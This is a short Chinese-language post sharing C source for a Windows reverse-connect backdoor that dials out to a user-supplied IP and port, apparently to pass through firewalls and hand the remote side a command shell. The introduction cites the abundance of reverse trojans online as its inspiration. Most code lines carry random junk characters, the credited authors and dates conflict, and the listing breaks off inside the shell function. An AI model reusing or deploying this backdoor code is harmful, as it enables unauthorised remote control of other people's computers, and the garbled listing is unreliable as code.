这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3ID1>
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/* ============================== >";I3S-t
Rebound port in Windows NT o09)esy
By wind,2006/7 \O*8%
===============================*/ ;IN!H@bq
#include #84<aM
#include F&ud|X=m
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#pragma comment(lib,"wsock32.lib") wt8?@lJ"/
q 9cN2|:
void OutputShell();
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SOCKET sClient; 1@xmzTC
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";
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void main(int argc,char **argv) {P/5cw
{ B=4xZJPy
WSADATA stWsaData; MLu@|Xgh
int nRet; |)"`v'8>
SOCKADDR_IN stSaiClient,stSaiServer; bO)voJ<
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if(argc != 3) mz|#K7:
{ P^wDt14>
printf("Useage:\n\rRebound DestIP DestPort\n"); y:C=Ni&,"
return; A/WmVv6
} 1MntTIT
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WSAStartup(MAKEWORD(2,2),&stWsaData); EWcqMD]4u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )SX2%&N
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stSaiClient.sin_family = AF_INET; 0
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stSaiClient.sin_port = htons(0); Cb`2" mpWS
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *B$$6'hi`
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !Vtj:2PQL
{ }^ g6Y3\
printf("Bind Socket Failed!\n"); #:UP'v=w
return; !>n^ ;u
} i!|OFU6
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stSaiServer.sin_family = AF_INET; JO|%Vpco
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xI'sprNa_1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); DlD;rL=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1FkS$ j8:
{ e-4 Qw#cw
printf("Connect Error!"); " R=,W{=
return; LqDj4[}
} !=-{$& {
OutputShell(); ji8)/
} ~8A !..Z
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void OutputShell() ZxDh94w/
{ (IE\}QcK
char szBuff[1024]; I%8>nMTJ
SECURITY_ATTRIBUTES stSecurityAttributes; ><l|&&e-
OSVERSIONINFO stOsversionInfo; ;J]Lzh
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Eku+&